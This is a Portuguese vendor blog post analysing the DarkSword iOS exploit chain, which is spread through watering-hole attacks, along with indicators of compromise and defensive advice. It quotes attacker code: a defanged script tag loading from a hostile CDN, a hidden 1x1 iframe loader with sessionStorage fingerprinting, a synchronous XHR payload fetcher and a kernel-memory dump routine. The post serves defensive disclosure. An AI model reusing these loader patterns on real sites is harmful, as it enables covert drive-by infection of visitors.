Skip to main content
Blog
Blog

DarkSword: cadeia de exploits em JavaScript puro transforma sites legítimos em armas

DarkSword é uma cadeia de exploits completa para iOS, distribuída por meio de ataques watering hole em sites legítimos comprometidos. Funciona inteiramente em JavaScript, contorna mitigações binárias e instala backdoors baseados em JavaScript que exfiltram dados sensíveis.

Mar 20, 2026 5 min read
DarkSword: cadeia de exploits em JavaScript puro transforma sites legítimos em armas - imagem de capa

O DarkSword marca um novo patamar na exploração do iOS. Ativo desde pelo menos novembro de 2025, esse exploit de cadeia completa encadeia múltiplas vulnerabilidades — várias delas zero-days — para comprometer completamente dispositivos iOS. O grupo de espionagem russo suspeito UNC6353 o distribui por meio de ataques watering hole, injetando tags de script maliciosas em sites legítimos comprometidos. A principal preocupação é a entrega: o ambiente do lado do cliente de um site se torna um vetor para um exploit de estado-nação direcionado aos visitantes.

Como a cadeia de exploits DarkSword funciona

Kits de exploits anteriores para iOS dependiam de componentes binários. O DarkSword adota uma abordagem diferente: toda a cadeia é escrita em JavaScript. Ao permanecer em JavaScript em cada etapa, os atacantes evitam mitigações binárias como a Page Protection Layer (PPL) e o Secure Page Table Monitor (SPTM) da Apple. A cadeia tem como alvo versões do iOS no intervalo 18.4–18.7 e opera em várias etapas que escalam de uma corrupção de memória no navegador até privilégios totais no kernel.

Etapas do exploit

Etapa do ExploitVulnerabilidadeDescriçãoZero-day?
Execução Remota de Código (RCE)CVE-2025-31277 / CVE-2025-43529Corrupção de memória no JavaScriptCore (confusão de tipo JIT e bugs de GC).CVE-2025-43529 era um zero-day
Bypass de PACCVE-2026-20700Bypass de Pointer Authentication Code em modo de usuário no dyld.Sim
Escape de sandbox do WebContentCVE-2025-14174Corrupção de memória no ANGLE, escapando para o processo de GPU.Sim
Escape de sandbox da GPUCVE-2025-43510Vulnerabilidade de gerenciamento de memória no kernel do iOS, com pivô para mediaplaybackd.Não
Escalada de privilégiosCVE-2025-43520Corrupção de memória no kernel do iOS, concedendo privilégios totais no kernel.Não

Após obter o comprometimento total, o exploit instala uma de três famílias de malware baseadas em JavaScript: GHOSTBLADE, GHOSTKNIFE ou GHOSTSABER. Elas atuam como mineradores de dados e backdoors, exfiltrando iMessages, dados de carteiras de criptomoedas, histórico de localização e senhas de WiFi salvas.

Exemplo de código de depuração

Código de depuração e comentários deixados nos payloads revelam a intenção dos autores. O GHOSTBLADE inclui funções para fazer hexdump da memória do kernel e tem como alvo específico as credenciais de WiFi:

const TAG = "DarkSword-WIFI-DUMP";

function kdump(where, size, msg = "") {
 LOG(`[+] ----------- ${msg} ----------`);
 for (let i = 0n; i < size; i += 0x10n) {
 LOG(`[+] [${i.hex()}] ${(where + i).hex()}:	${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
 }
}

Como o DarkSword usa ataques watering hole para infectar dispositivos iOS

O UNC6353 compromete sites legítimos e os transforma em watering holes. Quando um alvo visita um desses sites, o ataque é executado silenciosamente em segundo plano, sem qualquer interação do usuário. O ataque normalmente começa com uma única tag injetada que parece inofensiva no HTML, mas que então carrega JavaScript controlado pelo atacante a partir de um CDN de terceiros.

Exemplo (exibido escapado para evitar a incorporação de uma tag de script real):

<script async src="hxxps://static[.]cdncounter[.]net/widgets[.]js?uhfiu27fajf2948fjfefaa42"></script>

A partir daí, o ataque continua por meio de operações no lado do cliente. O loader pode criar iframes ocultos de 1x1 pixel, usar sessionStorage para rastrear e criar fingerprints das vítimas, e buscar payloads adicionais ofuscados via XHRs síncronos. Como todas as ações utilizam APIs web padrão, elas se misturam à atividade normal do navegador, a menos que o ambiente do lado do cliente seja monitorado.

if (!sessionStorage.getItem("uid") && isTouchScreen) {
 sessionStorage.setItem("uid", '1');
 const frame = document.createElement("iframe");
 frame.src = "frame.html?" + Math.random();
 frame.style.height = 0;
 frame.style.width = 0;
 frame.style.border = "none";
 document.body.appendChild(frame);
} else {
 top.location.href = "red";
}
function getJS(fname,method = 'GET') {
 try {
 url = fname;
 print(`trying to fetch ${method} from: ${url}`);
 let xhr = new XMLHttpRequest();
 xhr.open("GET", `${url}` , false);
 xhr.send(null);
 return xhr.responseText;
 } catch(e) {
 print("got error in getJS: " + e);
 }
}

Por que as defesas de segurança tradicionais não detectam o DarkSword

O DarkSword expõe um ponto cego na maioria das configurações de segurança. Defesas de perímetro, WAFs e muitas ferramentas de detecção de endpoint não enxergam a atividade dentro do navegador. O site comprometido entrega o que parece ser um recurso normal do lado do cliente, enquanto o exploit real é carregado a partir de um domínio de terceiros. Defender-se contra esses ataques exige visibilidade sobre a execução no lado do cliente e a capacidade de detectar comportamentos anômalos do navegador.

Indicadores de comprometimento

  • Tags de script inesperadas carregando de domínios desconhecidos ou suspeitos;
  • Iframes ocultos com dimensões de 1x1 pixel, opacidade próxima de zero ou posicionamento fora da tela;
  • Modificações incomuns em sessionStorage ou localStorage por scripts não autorizados;
  • Requisições XHR ou Fetch recuperando payloads JavaScript adicionais ofuscados.

Como se defender contra o DarkSword e ataques watering hole

A Apple corrigiu as vulnerabilidades do DarkSword no iOS 26.3, e os usuários devem atualizar imediatamente. Mas aplicar patches nos endpoints resolve apenas uma camada do problema. Enquanto os atacantes puderem comprometer sites legítimos e usá-los como veículos de entrega, os ataques watering hole continuarão. Os operadores de sites devem fortalecer as cadeias de suprimentos, monitorar injeções não autorizadas e usar monitoramento no lado do cliente para detectar a execução de scripts maliciosos antes que payloads como o DarkSword sejam instalados.

Simon Wijckmans
Founder & CEO

Founder and CEO of cside. Previously a product manager on Cloudflare Page Shield (now Cloudflare Client-Side Security). Co-chair of the W3C Anti-Fraud Community Group and a Forbes 30 Under 30 honoree. Building accessible security against client-side attacks — web security is not an enterprise-only problem.

FAQ

Frequently Asked Questions

O DarkSword permanece inteiramente em JavaScript para evitar proteções no nível binário, como a Page Protection Layer (PPL) e o Secure Page Table Monitor (SPTM) da Apple. Ao explorar corrupção de memória no JavaScriptCore e vulnerabilidades subsequentes de escape de sandbox, a cadeia nunca precisa executar binários nativos separados, o que reduz a eficácia das mitigações baseadas em binários.

Os principais indicadores incluem tags de script externas inesperadas apontando para domínios de terceiros desconhecidos, iframes ocultos ou fora da tela (frequentemente com 1x1 pixel), atividade incomum em sessionStorage/localStorage, e requisições XHR/Fetch síncronas carregando JavaScript ofuscado. Monitorar esses comportamentos no navegador pode revelar atividades maliciosas que ferramentas de perímetro não detectam.

Isole o host comprometido e preserve os logs do servidor web e os ativos implantados, incluindo quaisquer scripts injetados. Notifique os usuários afetados, rotacione segredos expostos (chaves de API, tokens) e provisione telemetria com escopo de incidente para capturar artefatos do lado do cliente, como URLs de scripts injetados, padrões de navegação de iframes e payloads de XHR para análise posterior.

Implemente telemetria comportamental no lado do cliente que registre origens de scripts, criação de iframes, modificações de armazenamento e requisições de rede, com amostragem com limite de taxa e salvaguardas de privacidade. Use listas de permissões para recursos de terceiros conhecidos, verificações de integridade (SRI), cabeçalhos CSP e varreduras periódicas para detectar modificações não autorizadas no HTML e JavaScript servidos.

Fortaleça a segurança da cadeia de suprimentos bloqueando dependências de terceiros, exigindo ativos assinados ou com verificação de integridade, habilitando a Content Security Policy (CSP) e monitorando alterações inesperadas em arquivos hospedados em CDN. Mantenha controles de acesso rigorosos, rotacione credenciais e habilite o monitoramento de integridade de arquivos nos ativos web.

Logs do lado do cliente que capturam URLs de scripts injetados, eventos de criação de iframes, gravações em sessionStorage/localStorage e respostas de XHR síncronas são indicadores de alta fidelidade. Complemente-os com logs do servidor web mostrando requisições inesperadas por arquivos de widget e ativos de CDN, e correlacione com telemetria de navegador de endpoint, se disponível.

Priorize atualizações de SO que corrijam os CVEs explorados e, em seguida, implante mitigações como o bloqueio de domínios maliciosos conhecidos na borda da rede e a revogação de credenciais de CDN comprometidas. Simultaneamente, implemente detecção no lado do cliente e fortaleça os controles da cadeia de suprimentos web para reduzir a exposição futura.

CSP e SRI são mitigações eficazes quando aplicadas corretamente: a CSP restringe de onde os scripts podem ser carregados e a SRI garante que os recursos obtidos correspondam aos hashes de integridade esperados. No entanto, se o atacante conseguir modificar o site para injetar seu próprio recurso permitido ou comprometer um CDN confiável, esses controles podem ser contornados — por isso devem fazer parte de uma defesa em camadas.

Monitore e Proteja Seus Scripts de Terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis, ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração